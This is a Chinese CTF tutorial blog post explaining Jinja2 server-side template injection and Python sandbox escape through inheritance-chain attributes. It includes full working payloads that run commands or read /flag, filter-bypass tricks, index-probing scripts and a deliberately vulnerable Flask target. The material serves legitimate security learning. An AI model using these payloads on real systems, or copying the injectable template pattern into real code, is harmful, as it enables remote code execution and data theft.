news 2026/9/29 16:59:26

Python继承链与特殊属性:从SSTI到沙箱逃逸的CTF实战解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Python继承链与特殊属性:从SSTI到沙箱逃逸的CTF实战解析

CTF里有一类题目,名字听起来像历史题,实际考的是Python的继承链和特殊属性。前几天刷题碰到一道名为“百年继承”的题,就是一个普通Flask页面,输入昵称后服务端用render_template_string拼进模板再渲染。一眼看过去是SSTI,测了一下{{7*7}}能回显49,然后我卡住了。不是卡在不知道用__class__,而是卡在为什么知道那么多特殊属性,却始终拼不出一条能读文件的完整链子。后来把思路梳理清楚才发现,这类题的破解点完全集中在一条“从任意对象回溯到object、再从object下潜到危险类”的继承链上。这篇文章就借着这道题,把Python继承链和特殊属性的玩法从头到尾理一遍,适合刚接触SSTI、沙箱逃逸,或者刷题时总在__globals__这里卡壳的选手。

1. 从“百年继承”说起:继承链在CTF里到底是干啥的

1.1 一道题让我卡了两小时

先说那道题给我的直观感受。页面只有输入框和一句欢迎语,URL参数是name。当我输入{{7*7}},页面直接回显49,这说明参数被拼进了Jinja2模板,存在SSTI,也就是服务端模板注入。理论上,只要能在模板里执行表达式,下一步就该考虑远程命令执行或者读文件。可问题恰恰出在下一步:我知道要利用__class__和__subclasses__()这些特殊属性,但真正拼payload的时候,要么索引对不上,要么拿到的对象根本不是想要的东西,折腾了很久才把一条完整链路走通。

那道题源码逻辑并不复杂。简化以后大概是这个结构:

from flask import Flask, request, render_template_string class Hundred: pass class Year(Hundred): pass class Inherit(Year): pass app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', 'world') obj = Inherit() template = f''' <div>{name}</div> <div>generated by {obj.__class__.__name__}</div> ''' return render_template_string(template)

这类结构在CTF里很常见:一个继承了多层的自定义类,配合一个SSTI注入点。你以为考点是某个类里藏了秘密,其实考点是让你从obj这样一个普通对象出发,沿着继承链反复跳转,最终拿到系统能力。换句话说,题目叫“百年继承”,继承的既是代码逻辑,也是你翻家谱的耐心。

1.2 万物皆对象与血缘链直觉

要理解继承链为什么能用于攻击,必须接受一个事实:Python里万物皆对象。整数是对象,字符串是对象,列表是对象,类本身也是对象,函数也是对象。既然是对象,它就一定属于某个类;既然属于某个类,这个类就一定继承自某个父类;一路向上回溯,最终都会到达object。object是所有新式类的基类,是整个继承体系的“祖爷爷”。

这里最关键的一点是:在SSTI这种沙箱场景里,我们没有机会直接引用os、subprocess等模块,但我们可以从任意一个对象出发,拿到它的类型,再通过类型拿到父类,一直回溯到object,然后借助object.__subclasses__()把当前进程里已经加载的所有类全部捞出来。这些类里总有那么几个类的方法内部会用到__import__、eval、system之类的能力,而且它们的方法对象上有__globals__属性,直接暴露了定义该方法时所在模块的全局命名空间。

把这条链路类比成家族族谱非常直观。一个家族再庞大,只要你能找到任意一个家族成员,就能顺着他父亲、祖父一路查到祖爷爷;祖爷爷的后代列表里有各种你想不到的亲戚。你不需要重新认识所有人,只需要从手头这一个成员出发,把整条线走一遍。这就是“继承链”的本质用法。

2. 摸清家谱:六个特殊属性逐个拆解

2.1class、base、bases:向上走的每一步

先做一个小实验,在本地Python交互环境里跑一下:

class A: pass class B(A): pass b = B() print(b.__class__) print(b.__class__.__base__) print(b.__class__.__bases__)

输出分别是:

<class '__main__.B'> <class '__main__.A'> (<class '__main__.A'>,)

这里出现了三个非常基础的特殊属性:

  • __class__:任何一个对象都有,指向“这个实例是由哪个类创建的”。
  • __base__:类属性,指向单一继承时的直接父类。
  • __bases__:类属性,返回一个元组,里面是所有直接父类。单继承时只有一个元素,多继承时会有多个。

在SSTI表达式里,.__class__是最常用的第一步。比如字符串''是一个对象,''.__class__就是str。如果题目过滤了__class__这个字符串,后面我会讲怎么绕,但原理上它是整条链的起点。

要注意__base__和__bases__都是类的属性,实例访问时也能拿到,因为实例会沿着类查找。它们只返回直接父类,不会一次返回祖父类。想继续往上走,得重复操作。比如b.__class__.__base__.__base__就能从B走到A再走到object。这正是“链”这个名字的由来。

2.2mro:官方认证的继承链地图

__class__能拿到所属类,__base__能拿到直接父类。但如果有多重继承,一步步.__base__就很累,而且容易漏。Python为此提供了官方地图:__mro__,也就是Method Resolution Order,方法解析顺序。

class A: pass class B(A): pass print(B.__mro__)

输出:

(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)

__mro__是一个元组,里面的顺序就是Python在查找方法时实际访问类的顺序。因为它是元组,所以支持索引。比如''.__class__.__mro__[1]在Python 3里可以直接拿到object,因为str的MRO是(str, object),索引1就是object。

这也是很多老payload里''.__class__.__mro__[2]失效的原因。在Python 2里,str的MRO包含(str, basestring, object),索引2才是object;到了Python 3,str的MRO变成(str, object),索引1就是object。照抄老文章,在Python 3环境里要么越界,要么拿到完全不同的东西。

更稳的写法我建议用空元组:

().__class__.__bases__[0]

空元组的类型是tuple,tuple的直接父类只有一个,就是object,所以不管Python 2还是Python 3,这一句都能稳定拿到object。在SSTI里写成{{().__class__.__bases__[0]}}或者{{().__class__.__base__}},结果同样可靠。

2.3subclasses():从object下行到所有子类

拿到object之后,真正的宝藏是object.__subclasses__()。这个方法返回当前类所有直接子类。由于object是所有新式类的祖先,这个列表几乎包含了当前Python进程里已经定义或加载的全部类。

这句话需要澄清一下,很多新手会误解成“返回所有后代类”。准确地说,它只返回直接子类,也就是父类直接是object的那些类。但这些类本身也有子类,想拿更下层,得对它们进一步调用.__subclasses__()。实战里通常不递归,因为第一层直接子类已经足够丰富,里面有大量来自标准库和Web框架的类,足够找到攻击目标。

在SSTI表达式里,我们没法写完整for循环动态遍历这个列表,只能靠索引直接取某个位置。问题是,这个列表的顺序不稳定,同一个Python版本、同样的代码,只要导入模块的顺序不同,列表顺序就会变。所以固定索引的payload换个环境就可能失效。正确做法是先在本地用脚本打印所有类的索引和名字,找到目标类的下标,再去远端尝试。

2.4init.globals:进入函数内部世界的关键一跳

有了类列表,距离命令执行还差最后一跳:如何从类跳到系统调用。答案藏在类的方法对象上。

Python里函数是一个对象,函数对象有一个属性叫__globals__,它返回一个字典,里面保存的是定义这个函数时所在模块的全部全局变量。类的实例方法本质上是函数,所以某类.__init__也是一个函数对象,自然也有__globals__。

以warnings.catch_warnings为例,这个类在warnings模块里。它的__init__方法定义在warnings模块的全局作用域中,因此:

warnings.catch_warnings.__init__.__globals__

会返回warnings模块的全部全局命名空间,里面自然包含sys、__builtins__等。再往下走一步:

''.__class__.__mro__[1].__subclasses__()[idx].__init__.__globals__['__builtins__']['__import__']

就能动态导入任意模块。到这里,从任意字符串出发到远程命令执行的完整链路就通了。

我在练习时习惯把这条链路写成速查表,随时翻看:

特殊属性作用典型表达式
__class__取实例所属的类''.__class__
__base__/__bases__取类的一个或多个直接父类().__class__.__base__
__mro__取类的完整继承顺序元组''.__class__.__mro__
__subclasses__()取一个类的直接子类列表object.__subclasses__()
__init__取类的初始化方法(函数对象)类.__init__
__globals__取函数定义处的全局命名空间字典类.__init__.__globals__

这份速查表值得背下来,因为它能覆盖八成以上SSTI和沙箱逃逸题目。

3. 完整实操:从SSTI注入点到拿到flag

3.1 先做四步信息收集

无论题目怎么包装,我的套路都一样。第一步,确认SSTI。随便找一个能回显的位置输入{{7*7}},如果页面返回49,说明模板表达式被执行了。第二步,确认Python版本。可以用{{().__class__.__base__}}和{{''.__class__.__mro__}},观察返回的是<class 'object'>、(<class 'str'>, <class 'object'>)还是Python 2风格的类型名。第三步,确认有哪些特殊属性可用,比如{{''.__class__.__mro__[1].__subclasses__()}}能否正常返回列表。第四步,确认题目有没有过滤规则,比如把点号、方括号、__、class等关键字替换成空字符串。

以“百年继承”这道题为例,前三步通常畅通无阻,重点就在于找到一条可用的链。先别急着上命令执行,先用软柿子验证:尝试读文件,或者先弹一段无伤大雅的命令,确认链路真的能走通,再上真正的flag读取payload。

3.2 本地生成类索引表

远端环境我们没法直接跑循环,但可以在本地用同样的Python小版本生成索引表。脚本很简单:遍历object.__subclasses__(),打印索引、模块名和类名,筛选出几个常见的危险目标。我优先关注三个类:warnings.catch_warnings、os._wrap_close、subprocess.Popen。

import os, warnings, subprocess for idx, cls in enumerate(object.__subclasses__()): name = cls.__name__ module = getattr(cls, '__module__', '') if name in ['catch_warnings', '_wrap_close', 'Popen']: print(idx, module, name)

输出示例:

118 warnings catch_warnings 132 os _wrap_close 252 subprocess Popen

注意,这个数字只对“同样的Python版本、同样的导入状态”有效。远端Flask应用会比本地脚本多加载很多包,所以直接拿本地数字去打远端,大概率会偏差几个位置。我这里说的是让你先在本地确认目标类存在和结构,再在远端用二分法或者多试几个邻近索引来定位。如果远端允许构造探测表达式,也可以直接在模板里拿类名回显来定位,但不如离线分析省心。

3.3 两条标准命令执行路线

路线A:通过warnings.catch_warnings动态导入模块。

{{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

这条链路的意思:空字符串 -> str类 -> object -> 直接子类列表第118项(catch_warnings) -> 它的__init__函数 -> 该函数所在模块的全局命名空间 -> 取出__builtins__ -> 取出动态导入函数 -> 导入os -> 用popen执行命令并读取结果。每一步都可以单独验证,推荐从后往前验证。先访问...['__builtins__']看它是否是dict或module,再访问['__import__']是否是函数,最后拼接完整命令。有一点要注意,__builtins__在模块全局命名空间里通常是dict,少数情况下是builtins模块;如果拿到的是module,就改成__builtins__.__dict__['__import__']。

路线B:通过os._wrap_close直接拿system。

{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat /flag')}}

这条比路线A短,因为os._wrap_close定义在os模块里,它的__init__.__globals__直接就是os模块的全局命名空间,里面有现成的system函数。这个思路在Python 3.7以上很流行,原因是_wrap_close经常稳定出现在object的子类列表中,索引偏移也不会太大。

还有一个更短的思路:找subprocess.Popen,然后直接实例化:

{{''.__class__.__mro__[1].__subclasses__()[252]('cat /flag', shell=True, stdout=-1).communicate()}}

Popen是类而不是普通函数,直接调用类本身就能创建子进程。它不需要__globals__,遇到属性访问过滤时这条路经常能救命。

3.4 如果flag藏在继承链的属性里怎么办

有些题目把flag放在自定义类的类属性里,比如“百年继承”背景下的Inherit类可能有secret = 'flag{...}'。这种情况下不需要RCE,只需要顺着继承链找到那个类并读取属性。

假设模板能拿到某个实例对象,在Jinja2里可以直接试探:

{{obj.__class__.__mro__}} {{obj.__class__.__mro__[0].__dict__}} {{obj.__class__.__mro__[1].__dict__}}

如果flag不在当前类,就在父类,一路看__mro__元组里每个类各自的__dict__或__base__。类属性存在于类的__dict__中,直接访问即可。这类题反而更简单,不需要把链走到系统层,只需要做到“向上找类、横向翻字典”这两步。

再多说一个细节:访问__dict__会输出完整的属性字典,包括方法名、类变量、模块信息,信息量很大。如果页面输出被限制,可以在本地构造相同的类结构,复现继承链,然后离线分析看哪一层。经验是,出题人喜欢把关键属性放在离目标类最近的一两层,别一上来就想着从object开始大海捞针。

4. 继承链利用最容易翻车的五个细节

链路跑通不等于稳定。我在实战里踩过的坑,基本集中在下面这五个地方。

4.1 索引固定地狱:本地payload到靶机就失效

最常遇到的问题就是:本地明明第118位是catch_warnings,打到靶机上怎么变成别的类了。原因在于__subclasses__()的列表顺序取决于进程加载模块的顺序,Flask应用启动时会比本地脚本多加载海量模块,索引当然会变。

解法有两条路。第一,尽力复现远端环境,比如在同样的虚拟环境里起一个Flask应用,再跑脚本打印子类列表,这样得到的索引可信度更高。第二,不要依赖单一索引,把几个候选索引的payload都准备好,逐个试。还有一个小技巧:构造一个能返回“某个索引处的类名”的探测payload,例如:

{{''.__class__.__mro__[1].__subclasses__()[i].__name__}}

用一个自动脚本遍历i的取值,把远端返回结果和本地类名对比,就能定位真实索引。这个方法慢,但很稳。

4.2 Python 2与Python 3的MRO索引差异

前面已经提过,这里再强调一次:Python 2里str的MRO包含basestring,所以老文章的mro[2]在Python 3里就失效;Python 3直接用mro[1]就能拿到object。建议统一使用().__class__.__base__这样的写法,一眼望去就不会被Python版本坑到。如果题目明确是Python 2环境,反而要注意object前面可能还有其他中间类,要灵活看__mro__的实际输出。

4.3globals不是对所有对象都有效

我见过不少人对着一个实例对象使劲敲obj.__globals__,结果报错'str' object has no attribute '__globals__'。因为__globals__是函数对象的属性,不是普通对象的属性。实例对象本身没有这个属性,正确姿势是先拿到类,再拿类的方法,比如类名.__init__.__globals__。如果某个类没有重写__init__,那就往父类找,用.__base__或.__mro__[1]找到父类的__init__再取__globals__。

4.4 属性名被过滤时用attr过滤器绕

题目一旦把__class__、__globals__这些关键字替换成空字符串,常规payload就废了一半。这时候Jinja2的attr过滤器是主要拐杖。它可以把属性名字符串动态传给对象,不再依赖点号:

{{ ''|attr('__class__') }}

等价于:

{{ ''.__class__ }}

属性名也可以动态拼接:

{{ ''|attr('__cl' ~ 'ass__') }}

如果有request对象可用,更优雅的做法是把整段超长payload写到GET参数里,模板中只保留简短表达式。比如:

{{ ''|attr(request.args.a) }}

URL传a=__class__,它等价于{{ ''.__class__ }}。更长的payload类似,把每个属性名和方法名都放到参数里,模板端用多个|attr组合。需要注意,|attr只能取属性,不能传参调用;如果某个属性是函数,通过|attr取到后还需要再补()来调用。

4.5 能读文件就先读文件,别急着打命令

有些题目的过滤会拦截system、popen、os这些关键词,但不会拦截open。如果目标是读flag,优先找__builtins__['open'],直接用读文件路线:

{{''.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__['__builtins__']['open']('/flag').read()}}

读文件payload通常比命令执行payload短,命中的类也更少。命令执行被拦,不代表read被拦。反过来说,如果过滤拦截所有带括号的调用,再考虑用attr过滤器和动态参数逐层拆。攻击路线的优先级应该是:找类属性解密 -> 读文件 -> 回显命令执行 -> 无回显外带。别一上来就上最猛的。

5. 自己搭个“百年继承”练手靶场

5.1 二十分钟搭一个本地SSTI靶子

光看不练没用。我强烈建议自己起一个最小靶场,把整条链亲手打通一遍。下面是完整可运行的Flask代码,保存成app.py:

from flask import Flask, request, render_template_string class Hundred: flag = 'flag{local_heritage_demo}' class Year(Hundred): pass class Inherit(Year): pass app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') obj = Inherit() template = f''' <div>hello {name}</div> <div>obj: {obj.__class__.__mro__}</div> ''' return render_template_string(template) if __name__ == '__main__': app.run(debug=True, port=5000)

启动后访问http://127.0.0.1:5000/?name={{7*7}},看到49就说明靶场正常。然后按第三章的方法一步步打:先拿object,再翻子类列表,再定位catch_warnings或os._wrap_close,最后读flag或执行命令。

自己搭靶场的好处是可以随便改过滤条件。你可以加一个中间件把所有__替换成空字符串,再试|attr方案;可以把system拉黑,再试读文件方案。一个题目吃透以后,遇到变种就不慌了。

5.2 一份可以直接抄的本地探测脚本

每次搭新环境都要手动敲一遍索引扫描,太累了。下面这个脚本我平时直接丢在项目目录里,跑一下就能列出目标类的索引:

import warnings, subprocess for idx, cls in enumerate(object.__subclasses__()): module = getattr(cls, '__module__', '') if module.startswith('warnings') or module.startswith('os') or module.startswith('subprocess'): if idx < 500: print(idx, module, cls.__name__)

跑完以后,把输出的索引填进payload里即可。注意,脚本启动时先import了warnings、subprocess,这会改变sys.modules里模块的加载顺序,进而影响object.__subclasses__()。所以,要尽可能模拟目标应用的import顺序。最简单的办法是在本地也搭一个Flask应用,在应用内部执行这段扫描,而不是单独跑一个裸Python脚本。

5.3 一份万能的“继承链速查笔记”

最后分享一份我自己整理的笔记,每次比赛前都会扫一眼。核心链是:

任意对象 -> __class__ -> 所属类 -> __mro__ 或 __base__ -> object -> __subclasses__() -> 目标类 -> __init__ -> __globals__ -> __builtins__ 或 os.system

记忆口诀是“类、父、大、子、初、局”:取类、取父类、取最大祖先、取子类列表、取初始化方法、取全局命名空间。看到SSTI题先默念一遍口诀,再决定从哪一步开始构造。

备选链还有两条。第一条是绕过属性过滤时用|attr('__class__');第二条是当__globals__拿不到时,尝试直接实例化subprocess.Popen。多准备几条备选链,比赛时就不至于一条路走到黑。

我个人刷下来最大的体会是:继承链本身不难,难的是在千变万化的过滤环境下灵活选择入口和绕法。每次赛后复盘,把新遇到的过滤规则和对应解法补进自己的速查笔记,下一次遇到类似的题,打开笔记五分钟内就能出payload。这种积累,比临时背几十条固定payload有用得多。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/29 16:59:25

WebSocket+Redis构建高可靠多人聊天系统:路由、去重与压测

简介&#xff1a;这是一份基于 JSP/Servlet 与 JavaScript 实现的多人聊天系统项目源码&#xff0c;面向正在学习 Java Web 开发、实时通信或准备课堂实训的开发者。压缩包共 11 个文件&#xff0c;以编译后的 class 文件与 Java 源码为主&#xff0c;另含 classpath、project …

作者头像 李华
网站建设 2026/9/29 16:57:20

数据要素流通下的“可用不可见“:安当DBG 如何支撑隐私计算与数据交易的字段级加密与可控脱敏

一、数据要素流通为什么需要"可用不可见" 数据作为生产要素&#xff0c;其价值只有在流通、汇聚、联合计算时才真正释放。银行要联合运营商做风控&#xff0c;医疗机构要联合药企做流行病学统计&#xff0c;政务数据要对社会力量开放用于惠民应用——这些场景的共性需…

作者头像 李华
网站建设 2026/9/29 16:56:37

从零构建AI工程能力:数据管道、训练流程与部署监控全链路指南

1. 从零搭建AI工程能力&#xff0c;为什么大多数人卡在第一步就放弃了“ai-engineering-from-scratch”这个标题&#xff0c;我第一次看到的时候心里咯噔了一下。不是因为它有多高深&#xff0c;而是因为它精准戳中了一个普遍困境&#xff1a;想学AI工程&#xff0c;但不知道从…

作者头像 李华
网站建设 2026/9/29 16:56:24

基于Django的Bilibili青少年模式使用情况数据分析系统

最近后台私信里好几个同学都在问同一个题目&#xff1a;列表里写着“基于Django的Bilibili青少年模式使用情况的数据分析系统”&#xff0c;但网页标题却顶着“Java毕设选题推荐”的标签&#xff0c;还附带“源码、mysql、文档、调试代码讲解全bao”。说实话&#xff0c;这个标…

作者头像 李华
网站建设 2026/9/29 16:55:35

C语言读文件实战指南:从fopen到fread的避坑手册

从“读不出来”说起&#xff1a;一次深夜调bug的经历先讲一件我自己的事。去年帮朋友调试一个跨平台的小工具&#xff0c;程序在某台Windows机器上怎么都读不出配置文件里的中文路径&#xff0c;返回的全是乱码。折腾到凌晨&#xff0c;最后发现是打开文件时没指定二进制模式&a…

作者头像 李华
网站建设 2026/9/29 16:55:04

srecord合并HEX文件:量产烧录的地址偏移与避坑指南

简介&#xff1a;这是面向嵌入式与微控制器开发者的 srecord-1.65.0 Windows 64 位版本&#xff0c;核心用途是把 KEIL MDK 等环境生成的多个 HEX 文件合并为单一烧录文件。合并过程中会自动核对各文件记录的地址、纠正地址顺序&#xff0c;并对冲突或重复数据做处理&#xff0…

作者头像 李华